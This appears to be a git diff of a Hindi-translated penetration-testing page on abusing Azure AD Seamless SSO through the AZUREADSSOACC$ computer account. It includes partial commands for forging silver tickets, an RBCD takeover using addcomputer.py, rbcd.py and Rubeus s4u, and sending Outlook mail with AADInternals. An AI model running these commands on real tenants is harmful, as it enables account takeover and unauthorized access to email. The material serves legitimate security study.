[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) स्वचालित रूप से **उपयोगकर्ताओं को उनके कॉर्पोरेट उपकरणों पर साइन इन करता है** जो आपके कॉर्पोरेट नेटवर्क से जुड़े होते हैं। जब सक्षम किया जाता है, **उपयोगकर्ताओं को Azure AD में साइन इन करने के लिए अपने पासवर्ड टाइप करने की आवश्यकता नहीं होती है**, और आमतौर पर, यहां तक कि अपने उपयोगकर्ता नाम भी टाइप करने की आवश्यकता नहीं होती है। यह सुविधा आपके उपयोगकर्ताओं को आपके क्लाउड-आधारित अनुप्रयोगों तक आसान पहुंच प्रदान करती है बिना किसी अतिरिक्त ऑन-प्रिमाइसेस घटकों की आवश्यकता के।
|
||||
|
||||
<figure><img src="../../../../images/image (275).png" alt=""><figcaption><p><a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works">https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works</a></p></figcaption></figure>
|
||||
|
||||
बुनियादी रूप से Azure AD Seamless SSO **उपयोगकर्ताओं को साइन इन करता है** जब वे **एक ऑन-प्रिम डोमेन से जुड़े पीसी पर होते हैं**।
|
||||
|
||||
यह [**PHS (Password Hash Sync)**](phs-password-hash-sync.md) और [**PTA (Pass-through Authentication)**](pta-pass-through-authentication.md) दोनों द्वारा समर्थित है।
|
||||
यह दोनों [**PHS (Password Hash Sync)**](phs-password-hash-sync.md) और [**PTA (Pass-through Authentication)**](pta-pass-through-authentication.md) द्वारा समर्थित है।
|
||||
|
||||
डेस्कटॉप SSO **प्रमाणीकरण के लिए Kerberos** का उपयोग कर रहा है। जब कॉन्फ़िगर किया जाता है, Azure AD Connect एक **कंप्यूटर खाता `AZUREADSSOACC$`** ऑन-प्रिम AD में बनाता है। `AZUREADSSOACC$` खाते का पासवर्ड **कॉन्फ़िगरेशन के दौरान Entra ID को स्पष्ट पाठ के रूप में भेजा जाता है**।
|
||||
|
||||
**Kerberos टिकट** **पासवर्ड के **NTHash (MD4)** का उपयोग करके **एन्क्रिप्ट** किए जाते हैं और Entra ID भेजे गए पासवर्ड का उपयोग करके टिकटों को डिक्रिप्ट करता है।
|
||||
**Kerberos टिकट** **पासवर्ड के NTHash (MD4)** का उपयोग करके **एन्क्रिप्ट** किए जाते हैं और Entra ID भेजे गए पासवर्ड का उपयोग करके टिकटों को डिक्रिप्ट करता है।
|
||||
|
||||
**Entra ID** एक **एंडपॉइंट** (https://autologon.microsoftazuread-sso.com) को उजागर करता है जो Kerberos **टिकटों** को स्वीकार करता है। डोमेन-जोड़े गए मशीन का ब्राउज़र SSO के लिए इन टिकटों को इस एंडपॉइंट पर अग्रेषित करता है।
|
||||
**Entra ID** एक **एंडपॉइंट** (https://autologon.microsoftazuread-sso.com) को उजागर करता है जो Kerberos **टिकटों** को स्वीकार करता है। डोमेन-से जुड़े मशीन का ब्राउज़र SSO के लिए इन टिकटों को इस एंडपॉइंट पर अग्रेषित करता है।
|
||||
|
||||
### Enumeration
|
||||
```bash
|
||||
@@ -93,7 +93,7 @@ $key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
|
||||
|
||||
#### Creating Silver Tickets
|
||||
|
||||
हैश के साथ, आप अब **generate silver tickets** कर सकते हैं:
|
||||
हैश के साथ, आप अब **silver tickets** **generate** कर सकते हैं:
|
||||
```bash
|
||||
# Get users and SIDs
|
||||
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier
|
||||
@@ -141,7 +141,7 @@ Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Sub
|
||||
python3 addcomputer.py CONTOSO/bob:'P@ssw0rd!' -dc-ip 10.0.0.10 \
|
||||
-computer ATTACKBOX$ -password S3cureP@ss
|
||||
```
|
||||
2. चरण 2 – `AZUREADSSOACC$` पर RBCD प्रदान करें - आपकी मशीन का SID `msDS-AllowedToActOnBehalfOfOtherIdentity` में लिखता है।
|
||||
2. चरण 2 – `AZUREADSSOACC$` पर RBCD प्रदान करें - आपके मशीन का SID `msDS-AllowedToActOnBehalfOfOtherIdentity` में लिखता है।
|
||||
```bash
|
||||
python3 rbcd.py CONTOSO/bob:'P@ssw0rd!'@10.0.0.10 \
|
||||
ATTACKBOX$ AZUREADSSOACC$
|
||||
@@ -183,4 +183,4 @@ Rubeus s4u /user:ATTACKBOX$ /rc4:9b3c0d06d0b9a6ef9ed0e72fb2b64821 `
|
||||
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
- [TR19: I'm in your cloud, reading everyone's emails - hacking Azure AD via Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user